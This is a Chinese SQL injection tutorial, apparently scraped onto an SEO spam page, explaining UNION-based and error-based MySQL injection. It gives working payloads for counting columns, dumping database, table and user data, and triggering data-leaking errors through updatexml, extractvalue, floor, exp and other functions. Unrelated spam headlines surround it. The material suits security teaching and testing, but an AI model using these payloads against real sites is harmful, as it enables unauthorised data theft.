当前位置: 首页 > news >正文

建设网站域名有了还要什么成都搜狗seo

建设网站域名有了还要什么,成都搜狗seo,怎么样自己做百度网站,wap网站制作教程MySQL注入秘籍【上篇】1.数据库敏感信息常用语句2.联合(UNION)查询注入3.报错注入原理常见报错注入函数1.数据库敏感信息常用语句 获取数据库版本信息 select version(); select innodb_version;获取当前用户 select user();获取当前数据库 select database();数…

MySQL注入秘籍【上篇】

  • 1.数据库敏感信息常用语句
  • 2.联合(UNION)查询注入
  • 3.报错注入
    • 原理
    • 常见报错注入函数

1.数据库敏感信息常用语句

获取数据库版本信息

select version();
select @@innodb_version;

获取当前用户

select user();

获取当前数据库

select database()

数据路径

select @@datadir;

获取所有数据库

select schema_name from information_schema.schemata;

查看表结构

desc mysql.user

获取所有用户信息

select * from mysql.user

获取当前数据库的表名

desc information_schema.tables;select table_name from information_schema.tables where table_schema = database();select group_concat(table_name) from information_schema.tables where table_schema = database();

获取当前数据库的某表的列名

select column_name from information_schema.columns where table_name = '表名';
select group_concat(column_name) from information_schema.columns where table_name = '表名';

获取当前数据库中某列的值

select id ,username,password from users;

查询DBA账户(一般root)

select host, user from mysql.user where super_priv = 'y';

2.联合(UNION)查询注入

通常使用联合查询注入法,其作用就是,在原来查询条件的基础上,通过关键字union、union all拼接恶意SQL语句,union后面的select得到的结果将拼接到前个select的结果的后面

正常情况下,SQL语句的union联合查询常用格式如下

select 1,2,3 from xxx union select 4,5,6 from vuls;/*
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
| 4 | 5 | 6 |
+---+---+---+
*/

在注入过程中,我们把union select 4,5,6 from vuls部分称作是union注入部分,它的主要特点是通过union和前面一条SQL语句拼接,并构造其列数与前面的SQL语句列数相同,如1,2,3和4,5,6均为3列。我们把这种注入方式称为union注入。

注入流程:

1、确认列数: 我们union查询前后的字段数必须是一样的才能查询,因此我们的第一步,就是通过order by或者group by获取当前查询的字段数;

1' order by 3 -- -

返回正常,说明前面查询的列数 >= 3

在这里插入图片描述

1' order by 4 -- -

返回不正常,说明前面查询的列数 < 4(不正常可能是直接抛出异常,也可能是返回空内容等)

在这里插入图片描述

因此说明此处的查询列数为3

2、判断显位: 既然已经知道了查询列数了,那我们就需要判断哪些列的内容是可以显示到前端的,因为能显示到前端的字段,我们在利用时也能直接显示我们想要的数据

我们只需要让union查询前半部分的内容为空即可

-1' union select 1,2,3 -- -

在这里插入图片描述

可以看到2、3这两列为显位

3、获取数据: 已经知道哪些列可以显示出来了,直接替换为我们的sql语句即可

首先查询当前数据库名database()、数据库账号user()、数据库版本version()等基本信息,再根据不同版本,不同的权限来确定接下来的方法

例如:

-1' union select 1,database(),user() -- -

在这里插入图片描述

接下来,请尽情的拼接你想要的SQL语句吧!

扩展:limit注入点字段数判断:

如果注入点在limit后,想要判断字段数,可通过into @,@的手法,其中@为mysql的临时变量

select * from user limit 1 into @,@;

在这里插入图片描述


3.报错注入

原理

服务器会将数据库执行产生的异常信息抛出显示到前端,这个时候我们人为地制造错误条件,就可以让查询结果能够出现在错误信息中

注入流程:

直接查询数据库,不需要判断字段数、显位等;查询语句和UNION一样,毕竟都是从数据库中查询数据,此处举几个例子说明即可

1、确认闭合,使用报错注入前,我们要确定参数值是可以闭合的

1' and '1'='1

在这里插入图片描述

2、利用,灵活利用payload查询,通过报错查询数据库信息

查询数据库名

1' and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1

在这里插入图片描述

查询当前数据库所有的表名

1' and updatexml(0x7e,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema = database())),0x7e) and '1'='1

在这里插入图片描述

常见报错注入函数

floor()

报错原理:

利用数据库表主键不能重复的原理,使用GROPU BY分组(分组会产生临时表,我我们只需要让临时表产生主键key重复即可),产生主键key冗余,导致报错

floor报错注入的利用,通俗点说就是利用concat()构造特殊的主键,当主键值不唯一时就报错并回显该主键值,主键值中就包含着我们想要的内容👡

常用payload:

获取数据库名

1' AND (SELECT 1 from(SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)as y) -- -

获取表名

1' AND (SELECT 1 from(SELECT count(*),concat(0x23,(SELECT table_name from information_schema.TABLES WHERE table_schema = database() limit 0,1),0x23,floor(rand(0)*2)) as x from information_schema.COLUMNS GROUP BY x)as y) -- -

extractValue()

从目标XML中返回包含所查询值的字符串

函数语法:extractvalue(xml_frag,xpath_expr)

适用范围:>=5.1.5

报错原理:Xpath格式语法书写错误的话,就会报错,如下所示

mysql> SELECT extractvalue('<a><b>x</b><b>y</b></a>','/a/b') as result;
+--------+
| result |
+--------+
| x y    |
+--------+
1 row in set (0.00 sec)mysql> SELECT extractvalue('<a><b>x</b><b>y</b></a>','#aaa') as result;
ERROR 1105 (HY000): XPATH syntax error: '#aaa'

由于此报错注入和updatexml都只能爆最大32位,如果要爆出32位之后的数据,需要借助mid或者substr等切割函数进行字符截取从而显示32位以后的数据👢

payload:

1' and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32)) and '1'='1

在这里插入图片描述

updatexml()

函数语法:updatexml(XML_document,XPath_String,new_value)

适用范围:>=5.1.5

报错原理:Xpath格式语法书写错误的话,就会报错,同extractValue()

1' and updatexml(1,mid(concat(0x23,(SELECT group_concat(table_name) from information_schema.tables where table_schema = database()),0x23),1,32),1) and '1'='1

在这里插入图片描述

exp()

函数语法:exp(int x) -> 返回 e ^ x

适用范围:适用于mysql<=5.5.52

报错原理:e的x次方到x每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错

在这里插入图片描述

将0按位取反,~0,可以看到取值为18446744073709551615,这个值就比double范围最大值要大,所以再利用mysql 函数正常取值之后会返回0的特性,那么当函数执行成功,然后按位取反之后得到的值直接造成double型溢出

在这里插入图片描述

payload:

1' and exp(~(select * from (select version())x)) and '1'='1

GTID相关函数

报错原理:参数格式不正确

适用范围:>=5.7

利用语句:

select GTID_SUBSET(user(),1);
select GTID_SUBTRACT(user(),1);

ST相关函数

报错原理:参数格式不正确

适用范围:>=5.7

利用语句:

select ST_LatFromGeoHash(version());
select ST_LongFromGeoHash(version());
select ST_PointFromGeoHash(version(),0);

BIGINT

报错原理:

当mysql数据库的某些边界数值进行数值运算时,会产生报错。

~0得到的结果:18446744073709551615

若此数参与运算,则很容易会错误

1' AND !(select * from(select user())a)-~0 -- -

uuid相关函数

适用范围:>=8.0

报错原理:参数格式不正确会导致报错

利用语句:

select uuid_to_bin((select database()));
select bin_to_uuid((select database()));

不存在的函数

报错原理:随便使用不存在的函数,可能会得到当前所在数据库的名称

利用语句:

select fff();

在这里插入图片描述

版权声明:本文教程基于d4m1ts知识库

http://www.hkea.cn/news/359161/

相关文章:

  • 询广西南宁网站运营推广系统
  • wordpress侧边栏小工具佛山网站优化
  • 用vs做网站原型企业培训课程有哪些内容
  • wordpress评论自定义百度刷排名seo
  • 四川建设网官网登录入口泉州seo外包
  • 网站有备案 去掉备案网络营销意思
  • 新建网站推广给企业百度问一问在线咨询客服
  • 曹鹏wordpress建站seo视频广东疫情防控措施
  • 网站开发的岗位排名优化工具
  • 岳阳做网站怎么做推广让别人主动加我
  • 不断改进网站建设公司百度官网优化
  • 万户网站宁波网站制作优化服务
  • 潍坊快速网站排名网站是怎么做出来的
  • 聚美优品的pc网站建设注册网址
  • 陕西省住房与城乡建设厅网站免费b站推广软件
  • 淮南市住房与城乡建设部网站网店买卖有哪些平台
  • 网页qq表情佛山百度快速排名优化
  • 网站建设方案论文1500社会新闻最新消息
  • 网站组建 需求分析市场监督管理局职责
  • 云课堂哪个网站做的好厦门关键词优化seo
  • 中企动力沈阳分公司seo免费诊断电话
  • 网站vps被黑湖人最新排名最新排名
  • 如何夸奖客户网站做的好seo课程心得体会
  • 有哪些做电子商务的网站时空seo助手
  • 临沂百度网站电脑培训机构哪个好
  • 无锡专业做网站的公司怎样把自己的产品放到网上销售
  • 大学网站建设管理办法推广技巧
  • 长春做网站公司seo关键词排名优化软件怎么选
  • 网站开发未按合同约定工期完工seo关键词排名怎么提升
  • 创可贴app海报制作网站百度seo优化方法